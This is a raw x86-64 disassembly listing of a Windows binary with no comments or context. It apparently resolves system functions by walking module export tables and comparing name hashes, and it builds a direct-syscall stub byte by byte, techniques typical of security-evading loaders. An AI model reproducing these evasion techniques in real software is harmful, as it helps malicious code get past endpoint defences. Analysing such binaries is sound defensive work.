mov qword [rsp + 0x9c60], rax
lea rdx, [rsp + 0x11610]
mov rcx, qword [rsp + 0x9c60]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x4940]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140139646
mov qword [rsp + 0x4948], 0
jmp 0x14013965f
lea rcx, [rsp + 0x4940]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4948], rax
mov rax, qword [rsp + 0x4948]
mov qword [rsp + 0x9c68], rax
lea rcx, [rsp + 0xf530]
call fcn.1400a0f10
mov rax, qword [rsp + 0x9c68]
mov qword [rsp + 0x1348], rax
cmp qword [rsp + 0x1348], 0
jne 0x14013a0a7
mov eax, dword [rsp + 0x558]
mov dword [rsp + 0x23d0], eax
mov eax, dword [rsp + 0x23c8]
mov dword [rsp + 0xb18], eax
mov eax, dword [rsp + 0x23d0]
mov dword [rsp + 0xb30], eax
xor edx, edx
lea rcx, [rsp + 0x23d8]
call fcn.14009b2f0
lea rdx, [rsp + 0x23d8]
lea rcx, [rsp + 0xb30]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x140139701
mov qword [rsp + 0x1340], 0
jmp 0x14013a000
mov byte [rsp + 0x305], 1
mov qword [rsp + 0x6f30], 0
mov qword [rsp + 0x6f38], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3f18], rax
mov eax, 1
test eax, eax
je 0x140139753
mov rax, qword [rsp + 0x3f18]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4950], rax
jmp 0x140139766
mov rax, qword [rsp + 0x3f18]
mov rax, qword [rax]
mov qword [rsp + 0x4950], rax
mov rax, qword [rsp + 0x4950]
mov qword [rsp + 0x6f30], rax
mov rax, qword [rsp + 0x3f18]
mov qword [rsp + 0x6f38], rax
lea rax, [rsp + 0x6f30]
mov qword [rsp + 0x4958], rax
lea rdx, [rsp + 0x1338]
mov rcx, qword [rsp + 0x4958]
call fcn.14018efb0
lea rdx, [rsp + 0x9c70]
mov rcx, qword [rsp + 0x4958]
call fcn.140190a30
jmp 0x1401397d5
mov rax, qword [rsp + 0x1338]
mov rax, qword [rax]
mov qword [rsp + 0x1338], rax
mov rax, qword [rsp + 0x9c70]
cmp qword [rsp + 0x1338], rax
je 0x1401397f4
mov dword [rsp + 0xb14], 1
jmp 0x1401397ff
mov dword [rsp + 0xb14], 0
movzx eax, byte [rsp + 0xb14]
test eax, eax
je 0x140139ff4
xor edx, edx
mov rcx, qword [rsp + 0x1338]
call fcn.140096d90
mov qword [rsp + 0x9c78], rax
lea rax, [rsp + 0x9c78]
mov qword [rsp + 0x4960], rax
xor edx, edx
lea rcx, [rsp + 0x23dc]
call fcn.14009b2f0
lea rdx, [rsp + 0x23dc]
lea rcx, [rsp + 0xb18]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140139a9f
mov rax, qword [rsp + 0x4960]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x9c80], rax
lea rdx, [rsp + 0x12768]
mov rcx, qword [rsp + 0x9c80]
call fcn.14019acf0
lea rcx, [rsp + 0xf540]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xb18]
mov dword [rsp + 0x23e0], eax
lea rax, [rsp + 0xd2d0]
lea rcx, [rsp + 0xf540]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x23e0]
mov dword [rsp + 0xb20], eax
lea rax, [rsp + 0x23e4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x23e4]
call fcn.14009b310
mov qword [rsp + 0x9c88], rax
lea rax, [rsp + 0xf550]
lea rcx, [rsp + 0xd2d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf560]
lea rcx, [rsp + 0xf550]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf560]
mov rcx, qword [rsp + 0x9c88]
call fcn.140097890
mov dword [rsp + 0x23ec], eax
lea rcx, [rsp + 0xd2d0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x9c90], rax
mov r9, qword [rsp + 0x9c90]
xor r8d, r8d
lea rdx, [rsp + 0xf570]
lea rcx, [rsp + 0xd2d0]
call fcn.14019ab70
lea rax, [rsp + 0x23e8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x23e8]
call fcn.14009b310
mov qword [rsp + 0x9c98], rax
lea rax, [rsp + 0xf580]
lea rcx, [rsp + 0xf570]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf590]
lea rcx, [rsp + 0xf580]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf590]
mov rcx, qword [rsp + 0x9c98]
call fcn.140097890
mov dword [rsp + 0x23f4], eax
mov edx, dword [rsp + 0x23ec]
lea rcx, [rsp + 0x23f0]
call fcn.14009b2f0
lea rdx, [rsp + 0x23f0]
lea rcx, [rsp + 0xb20]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140139a83
mov edx, dword [rsp + 0x23f4]
lea rcx, [rsp + 0x23f8]
call fcn.14009b2f0
lea rdx, [rsp + 0x23f8]
lea rcx, [rsp + 0xb20]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140139a83
mov dword [rsp + 0xb28], 1
jmp 0x140139a8e
mov dword [rsp + 0xb28], 0
movzx eax, byte [rsp + 0xb28]
test eax, eax
je 0x140139a9f
jmp 0x1401397c2
mov rax, qword [rsp + 0x4960]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4968], rax
mov rax, qword [rsp + 0x4968]
mov qword [rsp + 0x4498], rax
mov rax, qword [rsp + 0x4968]
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0x9ca0]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9ca8], rax
mov rax, qword [rsp + 0x9ca8]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x9cb0], rax
mov eax, dword [rsp + 0x9cb0]
add rax, qword [rsp + 0x4498]
mov qword [rsp + 0x9cb8], rax
mov rax, qword [rsp + 0x9cb8]
mov qword [rsp + 0x44a0], rax
lea rdx, [rsp + 0xb30]
lea rcx, [rsp + 0xd0b8]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11d68]
lea rcx, [rsp + 0x4498]
call fcn.140097040
lea rdx, [rsp + 0x138d0]
lea rcx, [rsp + 0x4498]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11d68]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140139b8b
jmp 0x1401397c2
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140139c0e
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11d78]
mov qword [rsp + 0x4970], rax
mov rcx, qword [rsp + 0x4970]
call fcn.140097960
mov qword [rsp + 0x11618], rax
mov rcx, qword [rsp + 0x4970]
call fcn.140097950
mov qword [rsp + 0x3f28], rax
mov rax, qword [rsp + 0x3f28]
mov rax, qword [rax]
mov qword [rsp + 0x4988], rax
mov rax, qword [rsp + 0x4498]
mov qword [rsp + 0x9cc0], rax
mov rax, qword [rsp + 0x9cc0]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9cc8], rax
mov rax, qword [rsp + 0x9cc8]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4978], rax
mov eax, dword [rsp + 0x4978]
add rax, qword [rsp + 0x4498]
mov qword [rsp + 0x4980], rax
mov eax, dword [rsp + 0x497c]
mov rcx, qword [rsp + 0x4980]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cd0], rax
mov rax, qword [rsp + 0x4980]
cmp qword [rsp + 0x4988], rax
jb 0x140139d00
mov rax, qword [rsp + 0x9cd0]
cmp qword [rsp + 0x4988], rax
jae 0x140139d00
mov dword [rsp + 0xb38], 1
jmp 0x140139d0b
mov dword [rsp + 0xb38], 0
movzx eax, byte [rsp + 0xb38]
mov byte [rsp + 0xf0], al
movzx eax, byte [rsp + 0xf0]
test eax, eax
je 0x140139fda
mov rax, qword [rsp + 0x3f28]
mov rax, qword [rax]
mov qword [rsp + 0x9cd8], rax
mov rax, qword [rsp + 0x9cd8]
mov qword [rsp + 0x9ce0], rax
lea rax, [rsp + 0x12778]
mov qword [rsp + 0x9ce8], rax
mov rdx, qword [rsp + 0x9ce0]
mov rcx, qword [rsp + 0x9ce8]
call fcn.140095590
lea rcx, [rsp + 0x6f40]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6f40]
call fcn.140191090
mov qword [rsp + 0x3f20], rax
cmp qword [rsp + 0x3f20], 0xffffffffffffffff
je 0x140139e15
mov r9, qword [rsp + 0x3f20]
xor r8d, r8d
lea rdx, [rsp + 0xf5b0]
lea rcx, [rsp + 0x6f40]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3f20]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xf5a0]
lea rcx, [rsp + 0x6f40]
call fcn.14019aaa0
lea r8, [rsp + 0xf5a0]
lea rdx, [rsp + 0xf5b0]
lea rcx, [rsp + 0x111f0]
call fcn.14008f7e0
jmp 0x140139e50
lea rax, [rsp + 0x6f40]
mov qword [rsp + 0x9cf0], rax
lea rcx, [rsp + 0xf5c0]
call fcn.140099fb0
lea r8, [rsp + 0xf5c0]
mov rdx, qword [rsp + 0x9cf0]
lea rcx, [rsp + 0x111f0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x111f0]
call fcn.140097960
mov qword [rsp + 0x9cf8], rax
lea rcx, [rsp + 0x111f0]
call fcn.140097950
mov qword [rsp + 0x9d10], rax
lea rax, [rsp + 0xd0bc]
mov qword [rsp + 0x9d08], rax
lea rax, [rsp + 0x23fc]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x23fc]
call fcn.14009b310
mov qword [rsp + 0x9d00], rax
lea rax, [rsp + 0xf5d0]
mov rdi, rax
mov rsi, qword [rsp + 0x9cf8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf5e0]
lea rcx, [rsp + 0xf5d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf5e0]
mov rcx, qword [rsp + 0x9d00]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9d08]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2404], eax
lea rax, [rsp + 0xd0c0]
mov qword [rsp + 0x9d20], rax
lea rax, [rsp + 0x2400]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2400]
call fcn.14009b310
mov qword [rsp + 0x9d18], rax
lea rax, [rsp + 0xf5f0]
mov rdi, rax
mov rsi, qword [rsp + 0x9d10]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf600]
lea rcx, [rsp + 0xf5f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf600]
mov rcx, qword [rsp + 0x9d18]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9d20]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2408], eax
mov r8d, dword [rsp + 0x2404]
mov edx, dword [rsp + 0x2408]
lea rcx, [rsp + 0x4990]
call fcn.140191150
mov qword [rsp + 0x1340], rax
jmp 0x14013a000
mov rax, qword [rsp + 0x3f28]
mov rax, qword [rax]
mov qword [rsp + 0x1340], rax
jmp 0x14013a000
mov qword [rsp + 0x1340], 0
mov rax, qword [rsp + 0x1340]
mov qword [rsp + 0x4990], rax
lea rcx, [rsp + 0x4990]
call fcn.1400a2c10
mov qword [rsp + 0x1348], rax
mov rax, qword [rsp + 0x1348]
mov qword [rsp + 0x9d28], rax
lea rcx, [rsp + 0x558]
call fcn.1400a2c20
mov dword [rsp + 0x2410], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf610]
call fcn.14009a190
nop
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9d30], rax
lea r9, [rsp + 0x9d28]
lea r8, [rsp + 0x2410]
lea rdx, [rsp + 0x12788]
mov rcx, qword [rsp + 0x9d30]
call fcn.140098320
nop
lea rcx, [rsp + 0xf610]
call fcn.1400a0f80
mov rax, qword [rsp + 0x1348]
mov qword [rsp + 0x4998], rax
cmp qword [rsp + 0x4998], 0
jne 0x14013a0cf
mov dword [rsp + 0xb3c], 0
jmp 0x14013a0dd
call qword [rsp + 0x4998]
mov dword [rsp + 0xb3c], eax
mov eax, dword [rsp + 0xb3c]
mov dword [rsp + 0x2418], eax
mov dword [rsp + 0x1a4], 0
jmp 0x14013a108
mov eax, dword [rsp + 0x1a4]
inc eax
mov dword [rsp + 0x1a4], eax
mov eax, dword [rsp + 0x1a4]
mov rcx, qword [rsp + 0x49a0]
cmp rax, qword [rcx]
jae 0x14013a182
mov eax, dword [rsp + 0x1a4]
imul rax, rax, 0x28
lea rcx, [rsp + 0x11930]
mov rdx, qword [rsp + 0x49a0]
mov rdi, rcx
lea rsi, [rdx + rax + 0x10]
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2418]
cmp qword [rsp + 0x11938], rax
je 0x14013a159
jmp 0x14013a0f8
mov rax, qword [rsp + 0x660]
cmp qword [rsp + 0x11940], rax
jne 0x14013a17d
mov rax, qword [rsp + 0x11930]
mov qword [rsp + 0x3f50], rax
jmp 0x14013a182
jmp 0x14013a0f8
mov qword [rsp + 0x9d38], 0
mov dword [rsp + 0x245c], 0x8000
lea rax, [rsp + 0x9d38]
mov qword [rsp + 0x9d48], rax
lea rax, [rsp + 0x178]
mov qword [rsp + 0x9d50], rax
mov qword [rsp + 0x9d58], 0xffffffffffffffff
mov dword [rsp + 0x241c], 0x4344a267
mov eax, dword [rsp + 0x241c]
mov dword [rsp + 0x2420], eax
lea rcx, [rsp + 0x2420]
call fcn.1400a2c20
mov dword [rsp + 0x65a0], eax
mov dword [rsp + 0x65a4], 0
lea rax, [rsp + 0x65a8]
mov qword [rsp + 0x9d40], rax
mov dword [rsp + 0x2458], 0x49
mov dword [rsp + 0x2454], 0x89
mov dword [rsp + 0x2450], 0xca
mov dword [rsp + 0x244c], 0x48
mov dword [rsp + 0x2448], 0xc7
mov dword [rsp + 0x2444], 0xc0
mov dword [rsp + 0x2440], 0x3f
mov dword [rsp + 0x243c], 0x10
mov dword [rsp + 0x2438], 0
mov dword [rsp + 0x2434], 0
mov dword [rsp + 0x2430], 0xf
mov dword [rsp + 0x242c], 5
mov dword [rsp + 0x2428], 0xc3
lea rax, [rsp + 0x2428]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x242c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2430]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2434]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2438]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x243c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2440]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2444]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2448]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x244c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2450]
lea r8, [rsp + 0x2454]
lea rdx, [rsp + 0x2458]
mov rcx, qword [rsp + 0x9d40]
call fcn.14008f900
mov byte [rsp + 0x306], 1
mov byte [rsp + 0x307], 0
movsxd rax, dword [rsp + 0x245c]
mov qword [rsp + 0x9e90], rax
mov byte [rsp + 0x308], 0
mov byte [rsp + 0x309], 0
mov rax, qword [rsp + 0x9d48]
mov qword [rsp + 0x9e98], rax
mov byte [rsp + 0x30a], 0
mov byte [rsp + 0x30b], 0
mov rax, qword [rsp + 0x9d50]
mov qword [rsp + 0x9ea0], rax
mov byte [rsp + 0x30c], 0
mov byte [rsp + 0x30d], 0
mov rax, qword [rsp + 0x9d58]
mov qword [rsp + 0x9ea8], rax
mov eax, dword [rsp + 0x65a0]
mov dword [rsp + 0x2460], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf620]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9d60], rax
lea r8, [rsp + 0x2460]
lea rdx, [rsp + 0x49a8]
mov rcx, qword [rsp + 0x9d60]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9d68], rax
lea rdx, [rsp + 0x11620]
mov rcx, qword [rsp + 0x9d68]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x49a8]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14013a465
mov qword [rsp + 0x49b0], 0
jmp 0x14013a47e
lea rcx, [rsp + 0x49a8]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x49b0], rax
mov rax, qword [rsp + 0x49b0]
mov qword [rsp + 0x9d70], rax
lea rcx, [rsp + 0xf620]
call fcn.1400a0f10
mov rax, qword [rsp + 0x9d70]
mov qword [rsp + 0x49b8], rax
cmp qword [rsp + 0x49b8], 0
je 0x14013a4db
mov rax, qword [rsp + 0x49b8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2468], eax
mov eax, dword [rsp + 0x2468]
mov dword [rsp + 0x65a4], eax
jmp 0x14013af69
lea rax, [rsp + 0xd4a0]
mov qword [rsp + 0x9d78], rax
xor edx, edx
mov rcx, qword [rsp + 0x9d78]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x246c], eax
lea rax, [rsp + 0xd4a4]
mov qword [rsp + 0x9d80], rax
mov edx, dword [rsp + 0x65a0]
mov rcx, qword [rsp + 0x9d80]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2470], eax
mov eax, dword [rsp + 0x246c]
mov dword [rsp + 0xb48], eax
mov eax, dword [rsp + 0x2470]
mov dword [rsp + 0xb60], eax
xor edx, edx
lea rcx, [rsp + 0x2474]
call fcn.14009b2f0
lea rdx, [rsp + 0x2474]
lea rcx, [rsp + 0xb60]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14013a588
mov qword [rsp + 0x1358], 0
jmp 0x14013ae87
mov byte [rsp + 0x30e], 1
mov qword [rsp + 0x6f50], 0
mov qword [rsp + 0x6f58], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3f30], rax
mov eax, 1
test eax, eax
je 0x14013a5da
mov rax, qword [rsp + 0x3f30]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x49c0], rax
jmp 0x14013a5ed
mov rax, qword [rsp + 0x3f30]
mov rax, qword [rax]
mov qword [rsp + 0x49c0], rax
mov rax, qword [rsp + 0x49c0]
mov qword [rsp + 0x6f50], rax
mov rax, qword [rsp + 0x3f30]
mov qword [rsp + 0x6f58], rax
lea rax, [rsp + 0x6f50]
mov qword [rsp + 0x49c8], rax
lea rdx, [rsp + 0x1350]
mov rcx, qword [rsp + 0x49c8]
call fcn.14018efb0
lea rdx, [rsp + 0x9d88]
mov rcx, qword [rsp + 0x49c8]
call fcn.140190a30
jmp 0x14013a65c
mov rax, qword [rsp + 0x1350]
mov rax, qword [rax]
mov qword [rsp + 0x1350], rax
mov rax, qword [rsp + 0x9d88]
cmp qword [rsp + 0x1350], rax
je 0x14013a67b
mov dword [rsp + 0xb40], 1
jmp 0x14013a686
mov dword [rsp + 0xb40], 0
movzx eax, byte [rsp + 0xb40]
test eax, eax
je 0x14013ae7b
xor edx, edx
mov rcx, qword [rsp + 0x1350]
call fcn.140096d90
mov qword [rsp + 0x9d90], rax
lea rax, [rsp + 0x9d90]
mov qword [rsp + 0x49d0], rax
xor edx, edx
lea rcx, [rsp + 0x2478]
call fcn.14009b2f0
lea rdx, [rsp + 0x2478]
lea rcx, [rsp + 0xb48]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013a926
mov rax, qword [rsp + 0x49d0]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x9d98], rax
lea rdx, [rsp + 0x12798]
mov rcx, qword [rsp + 0x9d98]
call fcn.14019acf0
lea rcx, [rsp + 0xf630]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xb48]
mov dword [rsp + 0x247c], eax
lea rax, [rsp + 0xd2e0]
lea rcx, [rsp + 0xf630]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x247c]
mov dword [rsp + 0xb50], eax
lea rax, [rsp + 0x2480]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2480]
call fcn.14009b310
mov qword [rsp + 0x9da0], rax
lea rax, [rsp + 0xf640]
lea rcx, [rsp + 0xd2e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf650]
lea rcx, [rsp + 0xf640]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf650]
mov rcx, qword [rsp + 0x9da0]
call fcn.140097890
mov dword [rsp + 0x2488], eax
lea rcx, [rsp + 0xd2e0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x9da8], rax
mov r9, qword [rsp + 0x9da8]
xor r8d, r8d
lea rdx, [rsp + 0xf660]
lea rcx, [rsp + 0xd2e0]
call fcn.14019ab70
lea rax, [rsp + 0x2484]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2484]
call fcn.14009b310
mov qword [rsp + 0x9db0], rax
lea rax, [rsp + 0xf670]
lea rcx, [rsp + 0xf660]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf680]
lea rcx, [rsp + 0xf670]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf680]
mov rcx, qword [rsp + 0x9db0]
call fcn.140097890
mov dword [rsp + 0x2490], eax
mov edx, dword [rsp + 0x2488]
lea rcx, [rsp + 0x248c]
call fcn.14009b2f0
lea rdx, [rsp + 0x248c]
lea rcx, [rsp + 0xb50]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013a90a
mov edx, dword [rsp + 0x2490]
lea rcx, [rsp + 0x2494]
call fcn.14009b2f0
lea rdx, [rsp + 0x2494]
lea rcx, [rsp + 0xb50]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013a90a
mov dword [rsp + 0xb58], 1
jmp 0x14013a915
mov dword [rsp + 0xb58], 0
movzx eax, byte [rsp + 0xb58]
test eax, eax
je 0x14013a926
jmp 0x14013a649
mov rax, qword [rsp + 0x49d0]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x49d8], rax
mov rax, qword [rsp + 0x49d8]
mov qword [rsp + 0x44a8], rax
mov rax, qword [rsp + 0x49d8]
mov qword [rsp + 0x9db8], rax
mov rax, qword [rsp + 0x9db8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9dc0], rax
mov rax, qword [rsp + 0x9dc0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x9dc8], rax
mov eax, dword [rsp + 0x9dc8]
add rax, qword [rsp + 0x44a8]
mov qword [rsp + 0x9dd0], rax
mov rax, qword [rsp + 0x9dd0]
mov qword [rsp + 0x44b0], rax
lea rdx, [rsp + 0xb60]
lea rcx, [rsp + 0xd4a8]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11d90]
lea rcx, [rsp + 0x44a8]
call fcn.140097040
lea rdx, [rsp + 0x138f8]
lea rcx, [rsp + 0x44a8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11d90]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14013aa12
jmp 0x14013a649
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14013aa95
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11da0]
mov qword [rsp + 0x49e0], rax
mov rcx, qword [rsp + 0x49e0]
call fcn.140097960
mov qword [rsp + 0x11628], rax
mov rcx, qword [rsp + 0x49e0]
call fcn.140097950
mov qword [rsp + 0x3f40], rax
mov rax, qword [rsp + 0x3f40]
mov rax, qword [rax]
mov qword [rsp + 0x49f8], rax
mov rax, qword [rsp + 0x44a8]
mov qword [rsp + 0x9dd8], rax
mov rax, qword [rsp + 0x9dd8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9de0], rax
mov rax, qword [rsp + 0x9de0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x49e8], rax
mov eax, dword [rsp + 0x49e8]
add rax, qword [rsp + 0x44a8]
mov qword [rsp + 0x49f0], rax
mov eax, dword [rsp + 0x49ec]
mov rcx, qword [rsp + 0x49f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9de8], rax
mov rax, qword [rsp + 0x49f0]
cmp qword [rsp + 0x49f8], rax
jb 0x14013ab87
mov rax, qword [rsp + 0x9de8]
cmp qword [rsp + 0x49f8], rax
jae 0x14013ab87
mov dword [rsp + 0xb68], 1
jmp 0x14013ab92
mov dword [rsp + 0xb68], 0
movzx eax, byte [rsp + 0xb68]
mov byte [rsp + 0xf1], al
movzx eax, byte [rsp + 0xf1]
test eax, eax
je 0x14013ae61
mov rax, qword [rsp + 0x3f40]
mov rax, qword [rax]
mov qword [rsp + 0x9df0], rax
mov rax, qword [rsp + 0x9df0]
mov qword [rsp + 0x9df8], rax
lea rax, [rsp + 0x127a8]
mov qword [rsp + 0x9e00], rax
mov rdx, qword [rsp + 0x9df8]
mov rcx, qword [rsp + 0x9e00]
call fcn.140095590
lea rcx, [rsp + 0x6f60]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6f60]
call fcn.140191090
mov qword [rsp + 0x3f38], rax
cmp qword [rsp + 0x3f38], 0xffffffffffffffff
je 0x14013ac9c
mov r9, qword [rsp + 0x3f38]
xor r8d, r8d
lea rdx, [rsp + 0xf6a0]
lea rcx, [rsp + 0x6f60]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3f38]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xf690]
lea rcx, [rsp + 0x6f60]
call fcn.14019aaa0
lea r8, [rsp + 0xf690]
lea rdx, [rsp + 0xf6a0]
lea rcx, [rsp + 0x11210]
call fcn.14008f7e0
jmp 0x14013acd7
